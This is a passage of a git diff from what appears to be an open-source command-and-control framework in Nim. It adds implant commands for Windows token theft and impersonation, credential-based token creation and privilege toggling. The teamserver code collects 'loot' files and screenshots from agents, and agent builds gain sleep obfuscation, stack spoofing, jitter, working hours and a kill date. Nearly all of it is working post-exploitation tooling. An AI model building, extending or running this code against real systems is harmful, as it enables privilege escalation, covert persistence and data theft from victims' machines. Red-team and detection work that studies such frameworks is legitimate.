Task): TaskResult = + try: + print fmt" [>] Creating access token from username and password." + + var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS + var + username = Bytes.toString(task.args[0].data) + password = Bytes.toString(task.args[1].data) + + # Split username and domain at separator '\' + let userParts = username.split("\\", 1) + if userParts.len() != 2: + raise newException(CatchableError, protect("Expected format domain\\username.")) + + if task.argCount == 3: + logonType = cast[DWORD](Bytes.toUint32(task.args[2].data)) + + let impersonationUser = makeToken(userParts[1], password, userParts[0], logonType) + if logonType != LOGON32_LOGON_NEW_CREDENTIALS: + username = impersonationUser + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}.")) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult = + try: + print fmt" [>] Stealing access token." + + let pid = int(Bytes.toUint32(task.args[0].data)) + let username = stealToken(pid) + + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}.")) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = + try: + print fmt" [>] Reverting access token." + rev2self() + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = + try: + print fmt" [>] Retrieving token information." + let tokenInfo = getCurrentToken().getTokenInfo() + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo)) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = + try: + print fmt" [>] Enabling token privilege." + let privilege = Bytes.toString(task.args[0].data) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege))) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult = + try: + print fmt" [>] Disabling token privilege." + let privilege = Bytes.toString(task.args[0].data) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege, false))) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 171bb70..bd4b9fc 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -1,10 +1,9 @@ -import terminal, strformat, strutils, sequtils, tables, system, std/[dirs, paths] +import terminal, strformat, strutils, sequtils, tables, os, times +import std/[dirs, paths] import ../globals import ../db/database -import ../protocol/packer -import ../core/logger -import ../websocket +import ../core/[packer, logger, websocket] import ../../common/[types, utils, serialize] #[ @@ -48,38 +47,33 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte {.cast(gcsafe).}: - try: - # Deserialize checkin request to obtain agentId and listenerId - let - request: Heartbeat = cq.deserializeHeartbeat(heartbeat) - agentId = Uuid.toString(request.header.agentId) - listenerId = Uuid.toString(request.listenerId) - timestamp = request.timestamp + # Deserialize checkin request to obtain agentId and listenerId + let + request: Heartbeat = cq.deserializeHeartbeat(heartbeat) + agentId = Uuid.toString(request.header.agentId) + listenerId = Uuid.toString(request.listenerId) + timestamp = request.timestamp - var tasks: seq[seq[byte]] + var tasks: seq[seq[byte]] - # Check if listener exists - if not cq.dbListenerExists(listenerId): - raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n") + # Check if listener exists + if not cq.dbListenerExists(listenerId): + raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n") - # Check if agent exists - if not cq.dbAgentExists(agentId): - raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n") + # Check if agent exists + if not cq.dbAgentExists(agentId): + raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n") - # Update the last check-in date for the accessed agent - cq.agents[agentId].latestCheckin = cast[int64](timestamp) - cq.client.sendAgentCheckin(agentId) + # Update the last check-in date for the accessed agent + cq.agents[agentId].latestCheckin = cast[int64](timestamp) + cq.client.sendAgentCheckin(agentId) - # Return tasks - for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag - let taskData = cq.serializeTask(task) - tasks.add(taskData) - - return (agentId, tasks) - - except CatchableError as err: - cq.error(err.msg) - return ("", @[]) + # Return tasks + for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag + let taskData = cq.serializeTask(task) + tasks.add(taskData) + + return (agentId, tasks) proc handleResult*(resultData: seq[byte]) = @@ -100,6 +94,20 @@ proc handleResult*(resultData: seq[byte]) = cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"Task {taskId} completed.") cq.success(fmt"Task {taskId} completed.") cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId) + + # Handle additional actions or UI-events based on command type (only when command succeeded) + case cast[CommandType](taskResult.command): + of CMD_MAKE_TOKEN, CMD_STEAL_TOKEN: + let impersonationToken: string = Bytes.toString(taskResult.data).split(" ", 1)[1..^1].join(" ")[0..^2] # Remove trailing '.' character from the domain\username string + if cq.dbUpdateTokenImpersonation(agentId, impersonationToken): + cq.agents[agentId].impersonationToken = impersonationToken + cq.client.sendImpersonateToken(agentId, impersonationToken) + of CMD_REV2SELF: + if cq.dbUpdateTokenImpersonation(agentId, ""): + cq.agents[agentId].impersonationToken.setLen(0) + cq.client.sendRevertToken(agentId) + else: discard + of STATUS_FAILED: cq.client.sendConsoleItem(agentId, LOG_ERROR, fmt"Task {taskId} failed.") cq.error(fmt"Task {taskId} failed.") @@ -111,32 +119,44 @@ proc handleResult*(resultData: seq[byte]) = of RESULT_STRING: if int(taskResult.length) > 0: cq.client.sendConsoleItem(agentId, LOG_INFO, "Output:") - cq.info("Output:") cq.client.sendConsoleItem(agentId, LOG_OUTPUT, Bytes.toString(taskResult.data)) - # Split result string on newline to keep formatting - for line in Bytes.toString(taskResult.data).split("\n"): - cq.output(line) - of RESULT_BINARY: # Write binary data to a file - # A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value, unless it is fragmented + # A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value var unpacker = Unpacker.init(Bytes.toString(taskResult.data)) let fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files - fileBytes = unpacker.getDataWithLengthPrefix() + fileData = unpacker.getDataWithLengthPrefix() # Create loot directory for the agent createDir(cast[Path](fmt"{CONQUEST_ROOT}/data/loot/{agentId}")) let downloadPath = fmt"{CONQUEST_ROOT}/data/loot/{agentId}/{fileName}" - writeFile(downloadPath, fileBytes) + writeFile(downloadPath, fileData) - cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n") - cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).") + # Get file information + let fileInfo = getFileInfo(downloadPath) + var lootItem = LootItem( + lootId: generateUuid(), + itemType: parseEnum[LootItemType](($cast[CommandType](taskResult.command)).split("_")[1]), # CMD_DOWNLOAD -> DOWNLOAD, CMD_SCREENSHOT -> SCREENSHOT + agentId: agentId, + path: downloadPath, + timestamp: fileInfo.creationTime.toUnix(), + size: fileInfo.size, + host: cq.agents[agentId].hostname + ) - of RESULT_NO_OUTPUT: - cq.output() + # Send loot to client to display file/screenshot in the UI + discard cq.dbStoreLoot(lootItem) + cq.client.sendLoot(lootItem) + + cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n") + cq.client.sendConsoleItem(agentId, LOG_OUTPUT, fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).") + else: discard + + # Send newline to separate commands + cq.client.sendConsoleItem(agentId, LOG_OUTPUT, "") except CatchableError as err: cq.error(err.msg, "\n") diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 9a6fbbe..8cb8815 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -3,9 +3,8 @@ import strutils, base64 import ./handlers import ../globals -import ../core/logger +import ../core/[logger, websocket] import ../../common/[types, utils, serialize, profile] -import ../websocket # Not Found proc error404*(request: Request) = @@ -121,12 +120,6 @@ proc httpGet*(request: Request) = proc httpPost*(request: Request) = {.cast(gcsafe).}: - # Check headers - # If POST data is not binary data, return 404 error code - if request.headers.get("Content-Type") != "application/octet-stream": - request.respond(404, body = "") - return - try: # Differentiate between registration and task result packet var unpacker = Unpacker.init(request.body) diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim deleted file mode 100644 index 6fd4768..0000000 --- a/src/server/core/agent.nim +++ /dev/null @@ -1,24 +0,0 @@ -import terminal, strformat, strutils, tables, system, parsetoml - -import ../core/logger -import ../db/database -import ../../common/types - -# Terminate agent and remove it from the database -proc agentKill*(cq: Conquest, name: string) = - - # Check if agent supplied via -n parameter exists in database - if not cq.dbAgentExists(name.toUpperAscii): - cq.error(fmt"Agent {name.toUpperAscii} does not exist.") - return - - # TODO: Stop the process of the agent on the target system - # TODO: Add flag to self-delete executable after killing agent - - # Remove the agent from the database - if not cq.dbDeleteAgentByName(name.toUpperAscii): - cq.error("Failed to terminate agent: ", getCurrentExceptionMsg()) - return - - cq.agents.del(name) - cq.success("Terminated agent ", fgYellow, styleBright, name.toUpperAscii, resetStyle, ".") diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index f390196..c476d7e 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -1,14 +1,13 @@ import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, parsetoml import ../globals -import ../core/logger +import ../core/[logger, websocket] import ../db/database import ../../common/[types, utils, serialize, crypto] -import ../websocket const PLACEHOLDER = "PLACEHOLDER" -proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] = +proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings, killDate: int64): seq[byte] = var packer = Packer.init() @@ -17,13 +16,23 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT # Listener configuration packer.add(string.toUuid(listener.listenerId)) - packer.addDataWithLengthPrefix(string.toBytes(listener.address)) - packer.add(uint32(listener.port)) + packer.addDataWithLengthPrefix(string.toBytes(listener.hosts)) # Sleep settings - packer.add(uint32(sleep)) - packer.add(uint8(sleepTechnique)) - packer.add(uint8(spoofStack)) + packer.add(sleepSettings.sleepDelay) + packer.add(sleepSettings.jitter) + packer.add(uint8(sleepSettings.sleepTechnique)) + packer.add(uint8(sleepSettings.spoofStack)) + + # Working hours + packer.add(uint8(sleepSettings.workingHours.enabled)) + packer.add(uint32(sleepSettings.workingHours.startHour)) + packer.add(uint32(sleepSettings.workingHours.startMinute)) + packer.add(uint32(sleepSettings.workingHours.endHour)) + packer.add(uint32(sleepSettings.workingHours.endMinute)) + + # Kill date + packer.add(uint64(killDate)) # Public key for key exchange packer.addData(cq.keyPair.publicKey) @@ -62,7 +71,7 @@ proc replaceAfterPrefix(content, prefix, value: string): string = it ).join("\n") -proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string = +proc compile(cq: Conquest, placeholderLength: int, modules: uint32, verbose: bool): string = let configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg" @@ -79,6 +88,7 @@ proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string = .replaceAfterPrefix("-d:CONFIGURATION=", placeholder) .replaceAfterPrefix("-o:", exeFile) .replaceAfterPrefix("-d:MODULES=", $modules) + .replaceAfterPrefix("-d:VERBOSE=", $verbose) writeFile(configFile, config) cq.info(fmt"Placeholder created ({placeholder.len()} bytes).") @@ -148,18 +158,18 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se return @[] # Agent generation -proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] = +proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): seq[byte] = # Verify that listener exists - if not cq.dbListenerExists(listenerId.toUpperAscii): - cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.") + if not cq.dbListenerExists(agentBuildInformation.listenerId): + cq.error(fmt"Listener {agentBuildInformation.listenerId} does not exist.") return - let listener = cq.listeners[listenerId.toUpperAscii] + let listener = cq.listeners[agentBuildInformation.listenerId] - var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack) + var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings, agentBuildInformation.killDate) - let unpatchedExePath = cq.compile(config.len, modules) + let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose) if unpatchedExePath.isEmptyOrWhitespace(): return diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index c334caf..4239bd7 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -4,17 +4,16 @@ import parsetoml import ../api/routes import ../db/database -import ../core/logger +import ../core/[logger, websocket] import ../../common/[types, profile] -import ../websocket proc serve(listener: Listener) {.thread.} = try: listener.server.serve(Port(listener.port), listener.address) - except Exception as err: + except Exception: discard -proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protocol: Protocol) = +proc listenerStart*(cq: Conquest, listenerId: string, hosts: string, address: string, port: int, protocol: Protocol) = try: # Create new listener var router: Router @@ -44,8 +43,9 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco # Store listener in database var listener = Listener( server: server, - listenerId: name, - address: host, + listenerId: listenerId, + hosts: hosts, + address: address, port: port, protocol: protocol ) @@ -55,16 +55,16 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco createThread(thread, serve, listener) server.waitUntilReady() - cq.listeners[name] = listener - cq.threads[name] = thread + cq.listeners[listenerId] = listener + cq.threads[listenerId] = thread - if not cq.dbListenerExists(name.toUpperAscii): + if not cq.dbListenerExists(listenerId.toUpperAscii): if not cq.dbStoreListener(listener): raise newException(CatchableError, "Failed to store listener in database.") - cq.success("Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{$port}.") + cq.success("Started listener", fgGreen, fmt" {listenerId} ", resetStyle, fmt"on {address}:{$port}.") cq.client.sendListener(listener) - cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {name} on {host}:{$port}.") + cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {listenerId} on {address}:{$port}.") except CatchableError as err: cq.error("Failed to start listener: ", err.msg) diff --git a/src/server/core/logger.nim b/src/server/core/logger.nim index b26f2bb..56c35f2 100644 --- a/src/server/core/logger.nim +++ b/src/server/core/logger.nim @@ -11,11 +11,11 @@ proc makeAgentLogDirectory*(cq: Conquest, agentId: string): bool = except OSError: return false -proc log*(cq: Conquest, agentId: string = "", logEntry: string) = +proc log*(logEntry: string, agentId: string = "") = # Write log entry to file var logFile: string if agentId.isEmptyOrWhitespace(): - logFile = fmt"{CONQUEST_ROOT}/data/logs/events.log" + logFile = fmt"{CONQUEST_ROOT}/data/logs/teamserver.log" else: logFile = fmt"{CONQUEST_ROOT}/data/logs/{agentId}/session.log" let file = open(logFile, fmAppend) @@ -39,7 +39,6 @@ proc getTimestamp*(): string = # Function templates and overwrites template writeLine*(cq: Conquest, args: varargs[untyped] = "") = stdout.styledWriteLine(args) - # cq.log(extractStrings($(args))) # Wrapper functions for logging/console output template info*(cq: Conquest, args: varargs[untyped] = "") = diff --git a/src/server/protocol/packer.nim b/src/server/core/packer.nim similarity index 98% rename from src/server/protocol/packer.nim rename to src/server/core/packer.nim index 840ae9c..d4e1bdd 100644 --- a/src/server/protocol/packer.nim +++ b/src/server/core/packer.nim @@ -108,12 +108,14 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): pid = unpacker.getUint32() isElevated = unpacker.getUint8() sleep = unpacker.getUint32() + jitter = unpacker.getUint32() modules = unpacker.getUint32() return Agent( agentId: Uuid.toString(header.agentId), listenerId: Uuid.toString(listenerId), username: username, + impersonationToken: "", hostname: hostname, domain: domain, ipInternal: ipInternal, @@ -123,6 +125,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): pid: int(pid), elevated: isElevated != 0, sleep: int(sleep), + jitter: int(jitter), modules: modules, tasks: @[], firstCheckin: now().toTime().toUnix(), diff --git a/src/server/websocket.nim b/src/server/core/websocket.nim similarity index 66% rename from src/server/websocket.nim rename to src/server/core/websocket.nim index 1b90841..50225c3 100644 --- a/src/server/websocket.nim +++ b/src/server/core/websocket.nim @@ -1,5 +1,7 @@ -import times, json, base64, parsetoml -import ../common/[types, utils, event] +import times, json, base64, parsetoml, strformat, pixie +import stb_image/write as stbiw +import ./logger +import ../../common/[types, utils, event] export sendHeartbeat, recvEvent proc `%`*(agent: Agent): JsonNode = @@ -7,6 +9,7 @@ proc `%`*(agent: Agent): JsonNode = result["agentId"] = %agent.agentId result["listenerId"] = %agent.listenerId result["username"] = %agent.username + result["impersonationToken"] = %agent.impersonationToken result["hostname"] = %agent.hostname result["domain"] = %agent.domain result["ipInternal"] = %agent.ipInternal @@ -16,6 +19,7 @@ proc `%`*(agent: Agent): JsonNode = result["pid"] = %agent.pid result["elevated"] = %agent.elevated result["sleep"] = %agent.sleep + result["jitter"] = %agent.jitter result["modules"] = %agent.modules result["firstCheckin"] = %agent.firstCheckin result["latestCheckin"] = %agent.latestCheckin @@ -23,6 +27,7 @@ proc `%`*(agent: Agent): JsonNode = proc `%`*(listener: Listener): JsonNode = result = newJObject() result["listenerId"] = %listener.listenerId + result["hosts"] = %listener.hosts result["address"] = %listener.address result["port"] = %listener.port result["protocol"] = %listener.protocol @@ -61,6 +66,11 @@ proc sendEventlogItem*(client: WsConnection, logType: LogType, message: string) "message": message } ) + + # Log event + let timestamp = event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + log(fmt"[{timestamp}]{$logType}{message}") + if client != nil: client.ws.sendEvent(event, client.sessionKey) @@ -101,6 +111,7 @@ proc sendAgentPayload*(client: WsConnection, bytes: seq[byte]) = "payload": encode(bytes) } ) + if client != nil: client.ws.sendEvent(event, client.sessionKey) @@ -114,6 +125,14 @@ proc sendConsoleItem*(client: WsConnection, agentId: string, logType: LogType, m "message": message } ) + + # Log agent console item + let timestamp = event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + if logType != LOG_OUTPUT: + log(fmt"[{timestamp}]{$logType}{message}", agentId) + else: + log(message, agentId) + if client != nil: client.ws.sendEvent(event, client.sessionKey) @@ -128,3 +147,47 @@ proc sendBuildlogItem*(client: WsConnection, logType: LogType, message: string) ) if client != nil: client.ws.sendEvent(event, client.sessionKey) + +proc sendLoot*(client: WsConnection, loot: LootItem) = + let event = Event( + eventType: CLIENT_LOOT_ADD, + timestamp: now().toTime().toUnix(), + data: %loot + ) + if client != nil: + client.ws.sendEvent(event, client.sessionKey) + +proc sendLootData*(client: WsConnection, loot: LootItem, data: string) = + let event = Event( + eventType: CLIENT_LOOT_DATA, + timestamp: now().toTime().toUnix(), + data: %*{ + "loot": %loot, + "data": encode(data) + } + ) + if client != nil: + client.ws.sendEvent(event, client.sessionKey) + +proc sendImpersonateToken*(client: WsConnection, agentId: string, username: string) = + let event = Event( + eventType: CLIENT_IMPERSONATE_TOKEN, + timestamp: now().toTime().toUnix(), + data: %*{ + "agentId": agentId, + "username": username + } + ) + if client != nil: + client.ws.sendEvent(event, client.sessionKey) + +proc sendRevertToken*(client: WsConnection, agentId: string) = + let event = Event( + eventType: CLIENT_REVERT_TOKEN, + timestamp: now().toTime().toUnix(), + data: %*{ + "agentId": agentId + } + ) + if client != nil: + client.ws.sendEvent(event, client.sessionKey) \ No newline at end of file diff --git a/src/server/db/database.nim b/src/server/db/database.nim index c72d69b..78cb3ff 100644 --- a/src/server/db/database.nim +++ b/src/server/db/database.nim @@ -1,11 +1,11 @@ import system, terminal, tiny_sqlite -import ./[dbAgent, dbListener] +import ./[dbAgent, dbListener, dbLoot] import ../core/logger import ../../common/types # Export functions so that only ./db/database is required to be imported -export dbAgent, dbListener +export dbAgent, dbListener, dbLoot proc dbInit*(cq: Conquest) = @@ -15,18 +15,20 @@ proc dbInit*(cq: Conquest) = # Create tables conquestDb.execScript(""" CREATE TABLE listeners ( - name TEXT PRIMARY KEY, + listenerId TEXT PRIMARY KEY, + hosts TEXT NOT NULL, address TEXT NOT NULL, port INTEGER NOT NULL UNIQUE, protocol TEXT NOT NULL CHECK (protocol IN ('http')) ); CREATE TABLE agents ( - name TEXT PRIMARY KEY, - listener TEXT NOT NULL, + agentId TEXT PRIMARY KEY, + listenerId TEXT NOT NULL, process TEXT NOT NULL, pid INTEGER NOT NULL, username TEXT NOT NULL, + impersonationToken TEXT NOT NULL, hostname TEXT NOT NULL, domain TEXT NOT NULL, ipInternal TEXT NOT NULL, @@ -34,12 +36,23 @@ proc dbInit*(cq: Conquest) = os TEXT NOT NULL, elevated BOOLEAN NOT NULL, sleep INTEGER NOT NULL, + jitter INTEGER NOT NULL, modules INTEGER NOT NULL, firstCheckin INTEGER NOT NULL, latestCheckin INTEGER NOT NULL, sessionKey BLOB NOT NULL ); + CREATE TABLE loot ( + lootId TEXT PRIMARY KEY, + itemType INTEGER NOT NULL, + agentId TEXT NOT NULL, + host TEXT NOT NULL, + path TEXT NOT NULL, + timestamp INTEGER NOT NULL, + size INTEGER NOT NULL + ); + """) cq.info("Using new database: \"", cq.dbPath, "\".\n") diff --git a/src/server/db/dbAgent.nim b/src/server/db/dbAgent.nim index dee6712..37ea8aa 100644 --- a/src/server/db/dbAgent.nim +++ b/src/server/db/dbAgent.nim @@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool = let sessionKeyBlob = agent.sessionKey.toSeq() conquestDb.exec(""" - INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); - """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob) + INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, jitter, modules, firstCheckin, latestCheckin, sessionKey) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); + """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob) conquestDb.close() except: @@ -32,13 +32,13 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"): - let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) + for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"): + let (agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) # Convert session key blob back to array var sessionKey: Key if sessionKeyBlob.len == 32: - copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32) + copyMem(addr sessionKey[0], addr sessionKeyBlob[0], 32) else: # Handle invalid session key - log error but continue cq.warning("Invalid session key length for agent: ", agentId) @@ -47,8 +47,10 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = agentId: agentId, listenerId: listenerId, sleep: sleep, + jitter: jitter, pid: pid, username: username, + impersonationToken: impersonationToken, hostname: hostname, domain: domain, ipInternal: ipInternal, @@ -56,7 +58,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = os: os, elevated: elevated, firstCheckin: cast[int64](firstCheckin), - latestCheckin: cast[int64](firstCheckin), + latestCheckin: cast[int64](latestCheckin), process: process, modules: cast[uint32](modules), sessionKey: sessionKey, @@ -71,54 +73,11 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = return agents -proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] = - var agents: seq[Agent] = @[] - +proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName): - let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) - - # Convert session key blob back to array - var sessionKey: Key - if sessionKeyBlob.len == 32: - copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32) - else: - # Handle invalid session key - log error but continue - cq.warning("Invalid session key length for agent: ", agentId) - - let a = Agent( - agentId: agentId, - listenerId: listenerId, - sleep: sleep, - pid: pid, - username: username, - hostname: hostname, - domain: domain, - ipInternal: ipInternal, - ipExternal: ipExternal, - os: os, - elevated: elevated, - firstCheckin: cast[int64](firstCheckin), - latestCheckin: cast[int64](firstCheckin), - process: process, - modules: cast[uint32](modules), - sessionKey: sessionKey, - tasks: @[] # Initialize empty tasks - ) - - conquestDb.close() - except: - cq.error(getCurrentExceptionMsg()) - - return agents - -proc dbDeleteAgentByName*(cq: Conquest, name: string): bool = - try: - let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - - conquestDb.exec("DELETE FROM agents WHERE name = ?", name) + conquestDb.exec("DELETE FROM agents WHERE agentId = ?", agentId) conquestDb.close() except: @@ -127,11 +86,11 @@ proc dbDeleteAgentByName*(cq: Conquest, name: string): bool = return true -proc dbAgentExists*(cq: Conquest, agentName: string): bool = +proc dbAgentExists*(cq: Conquest, agentId: string): bool = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - let res = conquestDb.one("SELECT 1 FROM agents WHERE name = ? LIMIT 1", agentName) + let res = conquestDb.one("SELECT 1 FROM agents WHERE agentId = ? LIMIT 1", agentId) conquestDb.close() @@ -140,11 +99,11 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool = cq.error(getCurrentExceptionMsg()) return false -proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool = +proc dbUpdateTokenImpersonation*(cq: Conquest, agentId: string, impersonationToken: string): bool = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - conquestDb.exec("UPDATE agents SET sleep = ? WHERE name = ?", delay, agentName) + conquestDb.exec("UPDATE agents SET impersonationToken = ? WHERE agentId = ?", impersonationToken, agentId) conquestDb.close() return true diff --git a/src/server/db/dbListener.nim b/src/server/db/dbListener.nim index 414a587..bb5b5cc 100644 --- a/src/server/db/dbListener.nim +++ b/src/server/db/dbListener.nim @@ -1,4 +1,4 @@ -import system, terminal, tiny_sqlite +import strformat, system, terminal, tiny_sqlite import ../core/logger import ../../common/types @@ -19,9 +19,9 @@ proc dbStoreListener*(cq: Conquest, listener: Listener): bool = let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) conquestDb.exec(""" - INSERT INTO listeners (name, address, port, protocol) - VALUES (?, ?, ?, ?); - """, listener.listenerId, listener.address, listener.port, $listener.protocol) + INSERT INTO listeners (listenerId, hosts, address, port, protocol) + VALUES (?, ?, ?, ?, ?); + """, listener.listenerId, listener.hosts, listener.address, listener.port, $listener.protocol) conquestDb.close() except: @@ -37,11 +37,12 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - for row in conquestDb.iterate("SELECT name, address, port, protocol FROM listeners;"): - let (listenerId, address, port, protocol) = row.unpack((string, string, int, string)) + for row in conquestDb.iterate("SELECT listenerId, hosts, address, port, protocol FROM listeners;"): + let (listenerId, hosts, address, port, protocol) = row.unpack((string, string, string, int, string)) let l = Listener( listenerId: listenerId, + hosts: hosts, address: address, port: port, protocol: stringToProtocol(protocol), @@ -54,11 +55,11 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] = return listeners -proc dbDeleteListenerByName*(cq: Conquest, name: string): bool = +proc 